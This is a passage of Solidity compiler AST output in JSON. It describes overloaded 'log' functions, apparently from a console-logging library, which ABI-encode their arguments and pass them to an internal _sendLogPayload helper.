memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":28239,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"39564:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28240,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"39568:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"39564:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28246,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39564:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28238,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"39548:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28247,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39548:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28248,"nodeType":"ExpressionStatement","src":"39548:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"39472:3:15","parameters":{"id":28236,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28229,"mutability":"mutable","name":"p0","nameLocation":"39490:2:15","nodeType":"VariableDeclaration","scope":28250,"src":"39476:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28228,"name":"string","nodeType":"ElementaryTypeName","src":"39476:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28231,"mutability":"mutable","name":"p1","nameLocation":"39499:2:15","nodeType":"VariableDeclaration","scope":28250,"src":"39494:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28230,"name":"bool","nodeType":"ElementaryTypeName","src":"39494:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28233,"mutability":"mutable","name":"p2","nameLocation":"39511:2:15","nodeType":"VariableDeclaration","scope":28250,"src":"39503:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28232,"name":"uint256","nodeType":"ElementaryTypeName","src":"39503:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28235,"mutability":"mutable","name":"p3","nameLocation":"39520:2:15","nodeType":"VariableDeclaration","scope":28250,"src":"39515:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28234,"name":"bool","nodeType":"ElementaryTypeName","src":"39515:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"39475:48:15"},"returnParameters":{"id":28237,"nodeType":"ParameterList","parameters":[],"src":"39538:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28273,"nodeType":"FunctionDefinition","src":"39650:187:15","nodes":[],"body":{"id":28272,"nodeType":"Block","src":"39728:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c75696e743235362c6164647265737329","id":28264,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"39778:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_935e09bfd29779a7e049f17e6e907bb9f7181e93c0c486cf646b7471eb4a9d1e","typeString":"literal_string \"log(string,bool,uint256,address)\""},"value":"log(string,bool,uint256,address)"},{"id":28265,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28252,"src":"39814:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28266,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28254,"src":"39818:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28267,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28256,"src":"39822:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":28268,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28258,"src":"39826:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_935e09bfd29779a7e049f17e6e907bb9f7181e93c0c486cf646b7471eb4a9d1e","typeString":"literal_string \"log(string,bool,uint256,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":28262,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"39754:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28263,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"39758:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"39754:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28269,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39754:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28261,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"39738:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28270,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39738:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28271,"nodeType":"ExpressionStatement","src":"39738:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"39659:3:15","parameters":{"id":28259,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28252,"mutability":"mutable","name":"p0","nameLocation":"39677:2:15","nodeType":"VariableDeclaration","scope":28273,"src":"39663:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28251,"name":"string","nodeType":"ElementaryTypeName","src":"39663:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28254,"mutability":"mutable","name":"p1","nameLocation":"39686:2:15","nodeType":"VariableDeclaration","scope":28273,"src":"39681:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28253,"name":"bool","nodeType":"ElementaryTypeName","src":"39681:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28256,"mutability":"mutable","name":"p2","nameLocation":"39698:2:15","nodeType":"VariableDeclaration","scope":28273,"src":"39690:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28255,"name":"uint256","nodeType":"ElementaryTypeName","src":"39690:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":28258,"mutability":"mutable","name":"p3","nameLocation":"39710:2:15","nodeType":"VariableDeclaration","scope":28273,"src":"39702:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":28257,"name":"address","nodeType":"ElementaryTypeName","src":"39702:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"39662:51:15"},"returnParameters":{"id":28260,"nodeType":"ParameterList","parameters":[],"src":"39728:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28296,"nodeType":"FunctionDefinition","src":"39843:192:15","nodes":[],"body":{"id":28295,"nodeType":"Block","src":"39927:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c737472696e672c75696e7432353629","id":28287,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"39977:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_24f9146562ee02c43db65ac014241fab3a51c9e29435f60d2ed133a186cac03a","typeString":"literal_string \"log(string,bool,string,uint256)\""},"value":"log(string,bool,string,uint256)"},{"id":28288,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28275,"src":"40012:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28289,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28277,"src":"40016:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28290,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28279,"src":"40020:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28291,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28281,"src":"40024:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_24f9146562ee02c43db65ac014241fab3a51c9e29435f60d2ed133a186cac03a","typeString":"literal_string \"log(string,bool,string,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":28285,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"39953:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28286,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"39957:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"39953:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28292,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39953:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28284,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"39937:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28293,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39937:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28294,"nodeType":"ExpressionStatement","src":"39937:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"39852:3:15","parameters":{"id":28282,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28275,"mutability":"mutable","name":"p0","nameLocation":"39870:2:15","nodeType":"VariableDeclaration","scope":28296,"src":"39856:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28274,"name":"string","nodeType":"ElementaryTypeName","src":"39856:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28277,"mutability":"mutable","name":"p1","nameLocation":"39879:2:15","nodeType":"VariableDeclaration","scope":28296,"src":"39874:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28276,"name":"bool","nodeType":"ElementaryTypeName","src":"39874:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28279,"mutability":"mutable","name":"p2","nameLocation":"39897:2:15","nodeType":"VariableDeclaration","scope":28296,"src":"39883:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28278,"name":"string","nodeType":"ElementaryTypeName","src":"39883:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28281,"mutability":"mutable","name":"p3","nameLocation":"39909:2:15","nodeType":"VariableDeclaration","scope":28296,"src":"39901:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":28280,"name":"uint256","nodeType":"ElementaryTypeName","src":"39901:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"39855:57:15"},"returnParameters":{"id":28283,"nodeType":"ParameterList","parameters":[],"src":"39927:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28319,"nodeType":"FunctionDefinition","src":"40041:197:15","nodes":[],"body":{"id":28318,"nodeType":"Block","src":"40131:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c737472696e672c737472696e6729","id":28310,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"40181:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a826caebc65f4a71211c1c7fd8dc9bdd856d7ef7dbeef42d8af156e9f73bc47d","typeString":"literal_string \"log(string,bool,string,string)\""},"value":"log(string,bool,string,string)"},{"id":28311,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28298,"src":"40215:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28312,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28300,"src":"40219:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28313,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28302,"src":"40223:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28314,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28304,"src":"40227:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a826caebc65f4a71211c1c7fd8dc9bdd856d7ef7dbeef42d8af156e9f73bc47d","typeString":"literal_string \"log(string,bool,string,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":28308,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"40157:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28309,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"40161:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"40157:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28315,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40157:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28307,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"40141:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28316,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40141:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28317,"nodeType":"ExpressionStatement","src":"40141:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"40050:3:15","parameters":{"id":28305,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28298,"mutability":"mutable","name":"p0","nameLocation":"40068:2:15","nodeType":"VariableDeclaration","scope":28319,"src":"40054:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28297,"name":"string","nodeType":"ElementaryTypeName","src":"40054:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28300,"mutability":"mutable","name":"p1","nameLocation":"40077:2:15","nodeType":"VariableDeclaration","scope":28319,"src":"40072:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28299,"name":"bool","nodeType":"ElementaryTypeName","src":"40072:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28302,"mutability":"mutable","name":"p2","nameLocation":"40095:2:15","nodeType":"VariableDeclaration","scope":28319,"src":"40081:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28301,"name":"string","nodeType":"ElementaryTypeName","src":"40081:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28304,"mutability":"mutable","name":"p3","nameLocation":"40113:2:15","nodeType":"VariableDeclaration","scope":28319,"src":"40099:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28303,"name":"string","nodeType":"ElementaryTypeName","src":"40099:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"40053:63:15"},"returnParameters":{"id":28306,"nodeType":"ParameterList","parameters":[],"src":"40131:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28342,"nodeType":"FunctionDefinition","src":"40244:186:15","nodes":[],"body":{"id":28341,"nodeType":"Block","src":"40325:105:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c737472696e672c626f6f6c29","id":28333,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"40375:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_3f8a701d00386d6ad9c7b7a930805b985bcbbe108e894a7d5cb9493e87e57e8b","typeString":"literal_string \"log(string,bool,string,bool)\""},"value":"log(string,bool,string,bool)"},{"id":28334,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28321,"src":"40407:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28335,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28323,"src":"40411:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28336,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28325,"src":"40415:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28337,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28327,"src":"40419:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3f8a701d00386d6ad9c7b7a930805b985bcbbe108e894a7d5cb9493e87e57e8b","typeString":"literal_string \"log(string,bool,string,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":28331,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"40351:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28332,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"40355:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"40351:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28338,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40351:71:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28330,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"40335:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28339,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40335:88:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28340,"nodeType":"ExpressionStatement","src":"40335:88:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"40253:3:15","parameters":{"id":28328,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28321,"mutability":"mutable","name":"p0","nameLocation":"40271:2:15","nodeType":"VariableDeclaration","scope":28342,"src":"40257:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28320,"name":"string","nodeType":"ElementaryTypeName","src":"40257:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28323,"mutability":"mutable","name":"p1","nameLocation":"40280:2:15","nodeType":"VariableDeclaration","scope":28342,"src":"40275:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28322,"name":"bool","nodeType":"ElementaryTypeName","src":"40275:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":28325,"mutability":"mutable","name":"p2","nameLocation":"40298:2:15","nodeType":"VariableDeclaration","scope":28342,"src":"40284:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28324,"name":"string","nodeType":"ElementaryTypeName","src":"40284:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28327,"mutability":"mutable","name":"p3","nameLocation":"40307:2:15","nodeType":"VariableDeclaration","scope":28342,"src":"40302:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":28326,"name":"bool","nodeType":"ElementaryTypeName","src":"40302:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"40256:54:15"},"returnParameters":{"id":28329,"nodeType":"ParameterList","parameters":[],"src":"40325:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":28365,"nodeType":"FunctionDefinition","src":"40436:192:15","nodes":[],"body":{"id":28364,"nodeType":"Block","src":"40520:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c737472696e672c6164647265737329","id":28356,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"40570:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e0625b292fa5cbc865b55f61713cbbe0ce7abb244ec2df45291ea19c30ddfaf8","typeString":"literal_string \"log(string,bool,string,address)\""},"value":"log(string,bool,string,address)"},{"id":28357,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28344,"src":"40605:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28358,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28346,"src":"40609:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":28359,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28348,"src":"40613:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":28360,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":28350,"src":"40617:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e0625b292fa5cbc865b55f61713cbbe0ce7abb244ec2df45291ea19c30ddfaf8","typeString":"literal_string \"log(string,bool,string,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":28354,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"40546:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":28355,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"40550:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"40546:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":28361,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40546:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":28353,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"40530:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":28362,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40530:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":28363,"nodeType":"ExpressionStatement","src":"40530:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"40445:3:15","parameters":{"id":28351,"nodeType":"ParameterList","parameters":[{"constant":false,"id":28344,"mutability":"mutable","name":"p0","nameLocation":"40463:2:15","nodeType":"VariableDeclaration","scope":28365,"src":"40449:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":28343,"name":"string","nodeType":"ElementaryTypeName","src":"40449:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":28346,"mutability":"mutable","name":"p1","nameLocation":"40472:2:1